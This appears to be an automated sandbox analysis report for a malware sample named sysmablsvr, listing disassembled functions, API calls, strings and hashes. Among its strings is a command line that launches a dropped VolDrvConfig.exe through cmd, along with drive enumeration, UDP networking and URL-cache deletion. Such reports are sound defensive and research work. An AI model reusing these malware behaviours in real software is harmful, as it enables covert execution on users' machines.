Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID:
API String ID: 1457358591-0
Opcode ID: 2b9af9a80e0350e1b964868311a4eed9a9ef636119a8ca78730ff9e844c2d842
Instruction ID: d2a8f2c597d4f808d2c136561af7b6c80c21d69a530c7dbbc8373d1e9f004416
Opcode Fuzzy Hash: 2b9af9a80e0350e1b964868311a4eed9a9ef636119a8ca78730ff9e844c2d842
Instruction Fuzzy Hash: 6071E0B4E042099BCB04CF98D981FEFBBB1BB48304F14816DE505BB382D779A951CBA5

Function 0040E670 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E72C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E77B
SysFreeString.OLEAUT32(00000000), ref: 0040E78F
SysFreeString.OLEAUT32(00000000), ref: 0040E7A7

Strings

service, xrefs: 0040E723
serviceType, xrefs: 0040E736

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 2bb872dba71c4b18fb63231bfcc4c9cffbe7778cfe88db31ae78f26eb240510d
Instruction ID: 498a00270a4ac3f3e732f182914c0c13a71c1caacf2de73c52121c1bdff13e9d
Opcode Fuzzy Hash: 2bb872dba71c4b18fb63231bfcc4c9cffbe7778cfe88db31ae78f26eb240510d
Instruction Fuzzy Hash: D5412E74A0020AEFDB04DF95C884FAFB7B9BF48304F108969E515A7390D778AE85CB95

Function 0040E7D0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E88C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E8DB
SysFreeString.OLEAUT32(00000000), ref: 0040E8EF
SysFreeString.OLEAUT32(00000000), ref: 0040E907

Strings

deviceType, xrefs: 0040E896
device, xrefs: 0040E883

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: fe57ae6d098728694eea3c4084fa761a4bbb21d2a922279ce8156623f7b4a2cf
Instruction ID: f37cc5fa491f806f20af1ba12fe7b13e6bb3fdd54c67fa744f8c06207b50935d
Opcode Fuzzy Hash: fe57ae6d098728694eea3c4084fa761a4bbb21d2a922279ce8156623f7b4a2cf
Instruction Fuzzy Hash: D1412DB5A0020ADFCB14DF99C884BAFB7B9BF48304F108569E515B7390D778AE85CB94

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 5e75d3bdf23019904cb63c7272498dca16bbf89365b4ea4552ce7bb9462c7b35
Instruction ID: 6ff3262b9ae864165baf17eb68ae52fc582ecffe48c2a7281556c95dbf3b24cf
Opcode Fuzzy Hash: 5e75d3bdf23019904cb63c7272498dca16bbf89365b4ea4552ce7bb9462c7b35
Instruction Fuzzy Hash: 8C31E172200215ABC710AFB5ED8CAD7B7A8FF54324F00463EF55AD3280DB79A8448B99

Function 00406400 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040640B
CoCreateInstance.OLE32(00412A48,00000000,00000001,00412A28,?), ref: 00406423
wsprintfW.USER32 ref: 00406456

Strings

%comspec%, xrefs: 0040645F
/c start %s & start %s\VolDrvConfig.exe, xrefs: 0040644A
Gh@, xrefs: 00406472, 00406475

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %comspec%$/c start %s & start %s\VolDrvConfig.exe$Gh@
API String ID: 2038452267-1238916929
Opcode ID: aaa96ca59010518e18a87943b9af67a6363d673d16705643510165f5408d9052
Instruction ID: 7d2455aabe9eb384640674d95cb3f7402ea72c7f03b095a020dcafb7bbec31f6
Opcode Fuzzy Hash: aaa96ca59010518e18a87943b9af67a6363d673d16705643510165f5408d9052
Instruction Fuzzy Hash: 8E31C975A40208EFCB04DF98D885EDEB7B5EF88704F108199F519A73A5CA74AE81CB54

Function 0040E811 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E88C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E8DB
SysFreeString.OLEAUT32(00000000), ref: 0040E8EF
SysFreeString.OLEAUT32(00000000), ref: 0040E907

Strings

deviceType, xrefs: 0040E896
device, xrefs: 0040E883

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 88b0517ec26916889f8b96c67c87da2334269be0de7e35ae2345a8a23bc4b222
Instruction ID: 0db10e415d6a1e8faee94fa1aa357f29b7cea0d9451b7bd8199af60d13ceb70c
Opcode Fuzzy Hash: 88b0517ec26916889f8b96c67c87da2334269be0de7e35ae2345a8a23bc4b222
Instruction Fuzzy Hash: 98312AB5E0020ADFCB14DF99D884BAFB7B5BF88304F108569E514B7390D778AA81CB94

Function 0040E6B1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E72C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E77B
SysFreeString.OLEAUT32(00000000), ref: 0040E78F
SysFreeString.OLEAUT32(00000000), ref: 0040E7A7

Strings

service, xrefs: 0040E723
serviceType, xrefs: 0040E736

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: f0bcedd38c1e30f619de3414b93aa3d94c9df312bc97db08d9b07421bf86f66e
Instruction ID: f860d819dcfac7245c0065b1f48ab1f28a181454cf029f87bdd60df825f867a0
Opcode Fuzzy Hash: f0bcedd38c1e30f619de3414b93aa3d94c9df312bc97db08d9b07421bf86f66e
Instruction Fuzzy Hash: B9311D74A0020A9FCB04CF99D884FEFB7B5BF88304F148969E514B7390D778AA85CB95

Function 004073B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00407434
Sleep.KERNEL32(000003E8), ref: 00407463
wsprintfA.USER32 ref: 0040748E
DeleteUrlCacheEntry.WININET(?), ref: 0040749E
Sleep.KERNEL32(000DBBA0), ref: 004074E6

Strings

%s%s, xrefs: 00407482

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: b3aa12a9ac6c1bea71ad27052cd7355f0876685bd87c0f59df55197cdbb1ba38
Instruction ID: 945b1e68ff25bd35ce4625b60af53a64f9c21a9b46b3aa14aa85a39d9b5f9782
Opcode Fuzzy Hash: b3aa12a9ac6c1bea71ad27052cd7355f0876685bd87c0f59df55197cdbb1ba38
Instruction Fuzzy Hash: 5D310DB4C00218EFCB50DF95DC88BEDBBB4FB48304F1085AAE609B6290D7795A84CF59

Function 00406340 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00406346
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
RegCloseKey.ADVAPI32(?), ref: 004063DE

Strings

NoDrives, xrefs: 004063B8
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406387

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction ID: 85ff322c7a95afac5eb7bad71570108e7de378f82f6edd769b1cbb34207a952c
Opcode Fuzzy Hash: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction Fuzzy Hash: 7F11D071E40209DBDB10CFD0D946BEEBBB4FB08704F108159E915B7280D7B8A655CF95

Function 0040D6F0 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D714

Part of subcall function 0040D7E0: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D820
Part of subcall function 0040D7E0: CloseHandle.KERNEL32(?), ref: 0040D839

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D76F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D7AC
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D7B7
DuplicateHandle.KERNEL32(00000000), ref: 0040D7BE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D7D2

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 79fa7f5129bcfcfc5e35f54f723da72931e91f9957c0ae906c73dd34cb907117
Instruction ID: 832ae4800ebcb00f90e7428fbbdd4da527039cf188cbed956f615c5464689476
Opcode Fuzzy Hash: 79fa7f5129bcfcfc5e35f54f723da72931e91f9957c0ae906c73dd34cb907117
Instruction Fuzzy Hash: 2C31F874A00208EFDB04DF94D889F9EBBB5FB49304F0085A9E905A7390D775AA95CF54

Function 00409440 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040944D
_aullshr.NTDLL ref: 0040945E
_allshl.NTDLL ref: 00409480
_aullshr.NTDLL ref: 0040949C
_allshl.NTDLL ref: 004094BE
_aullshr.NTDLL ref: 004094DA

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction ID: c7f26e6fe3f6e47823c68d9e93f939c843ab0f3ebbce24f5146439a699fa7f9b
Opcode Fuzzy Hash: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction Fuzzy Hash: CC114F326005186B8B10EF9EC44269ABBD6EF84360B15C136FC2CCF319D634D9414BD4

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 8ae6570444e5f91760108b530f1a08cb32bd2fc07e3f7a4ef94bae8ae05db212
Instruction ID: 395797021da18ac5dc0c4ab187d218299f1ec32cbdde21a351b7e81b9c40248d
Opcode Fuzzy Hash: 8ae6570444e5f91760108b530f1a08cb32bd2fc07e3f7a4ef94bae8ae05db212
Instruction Fuzzy Hash: E83180762083009BC710DF69D884A9BBBF4AFC9714F04456EFD9897381D634D91587AB

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: ce840b8076e102032727fd217b964f9416792ac0f183dc073a12a4941b732ffe
Instruction ID: 36d18bb318df5a029dedd03b2acd005dba350197efc47ce95ae0e9b03ff24c88
Opcode Fuzzy Hash: ce840b8076e102032727fd217b964f9416792ac0f183dc073a12a4941b732ffe
Instruction Fuzzy Hash: 7241A175604A01ABC714EB39D848797F3A4BF84314F14827EE82D933D1E739A855CB99

Function 0040B110 Relevance: 7.6, APIs: 5, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00417D28,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B1A8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040B1C9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B1D3
CloseHandle.KERNEL32(000000FF), ref: 0040B1DD
InterlockedExchange.KERNEL32(00416900,0000003D), ref: 0040B1EA

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID:
API String ID: 442028454-0
Opcode ID: a0a4e6ae3ed30183f399e8ba9aee31b57bdf5208d54d0e8c38c9924f8c3679e4
Instruction ID: c603907199676edbd5c7d0fa982afae34b74f891853afe3642d2180ffa8dca70
Opcode Fuzzy Hash: a0a4e6ae3ed30183f399e8ba9aee31b57bdf5208d54d0e8c38c9924f8c3679e4
Instruction Fuzzy Hash: 8D313EB4A40209EBCB14DF94EC85FAEB7B4FB48300F20C569E515673D0D774AA41DB99

Function 00409020 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040902E
_allshl.NTDLL ref: 0040903D
_allshl.NTDLL ref: 0040904C
_allshl.NTDLL ref: 0040905B
_allshl.NTDLL ref: 0040906A

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction ID: 6393123168de4f4826dca7712cb04f948d5e4027293efa58ed578d500b7b4a08
Opcode Fuzzy Hash: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction Fuzzy Hash: DDF03172901428AB9750EEFF84424CBF7E6AF9C368B219176FC18E3260E9709D0546F2

Function 00401330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401352
CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 0040135C

Part of subcall function 0040A740: HeapFree.KERNEL32(00000000,00000000,00402612,?,00402612,?), ref: 0040A79B

Strings

pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: 6b6ea7fc194c066d272c2ceb60e6e8d4b7d6d70c2bd26222ba97c1c57b6b1a03
Instruction ID: d282b52b3110f6f030980250f42d45aa65f4851f6724e2164e4de9b2c85264d0
Opcode Fuzzy Hash: 6b6ea7fc194c066d272c2ceb60e6e8d4b7d6d70c2bd26222ba97c1c57b6b1a03
Instruction Fuzzy Hash: 6101D6765003009BCB20AF51ECC0E9B7779AF48311704467AFD04AB396C738E84187B9

Function 004062C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(0040629F), ref: 004062CD
QueryDosDeviceW.KERNEL32(0040629F,?,00000208), ref: 0040630C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00406324

Strings

\??\, xrefs: 00406318

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction ID: fe1cba3e8f96ca8ec28924db8accccc61f2e919e988f9d14e04ecf4ac666ff3a
Opcode Fuzzy Hash: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction Fuzzy Hash: 1901FFB0A4021CEBCB20DF55DD49BDAB7B4AB04704F00C0BAAA05A7280E6759ED5DF9C

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: 9fd04ca368f2f0733dbd00e11fcdc64336c0dc17fc499274760987b24178d786
Instruction ID: e1b7ef358c802af59afb00f280b99e3e8e19274dac2adc7c4e0c886c1a13037e
Opcode Fuzzy Hash: 9fd04ca368f2f0733dbd00e11fcdc64336c0dc17fc499274760987b24178d786
Instruction Fuzzy Hash: 1521C3B1504301AFD304DF65DC84A6BB7E9EF88314F004A3EF555A62A0E774DD488BEA

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction ID: 85cdc4ac02e7a7d961e62fa06f42dc9c3305788cd6d7a2bd32de2e1c20a60a18
Opcode Fuzzy Hash: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction Fuzzy Hash: DD212F715083159BC200DF55D884D5BB7E8BFCCB54F044A2EF59493291D734EA49CBAA

Function 00407300 Relevance: 6.1, APIs: 4, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

StrChrA.SHLWAPI(00000000,0000007C), ref: 00407326
DeleteUrlCacheEntry.WININET(00000000), ref: 00407348
Sleep.KERNEL32(000003E8), ref: 00407361
DeleteUrlCacheEntry.WININET(?), ref: 00407389

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CacheDeleteEntry$Sleep
String ID:
API String ID: 672405725-0
Opcode ID: de31647e4212ff5a036519ed2976cc2a7ac52ffd671279e5da701e067ce87bdf
Instruction ID: 2037616d4c8183bc1dcd880db7f677971b3714fceeeaba453b7e7dde7ca31e21
Opcode Fuzzy Hash: de31647e4212ff5a036519ed2976cc2a7ac52ffd671279e5da701e067ce87bdf
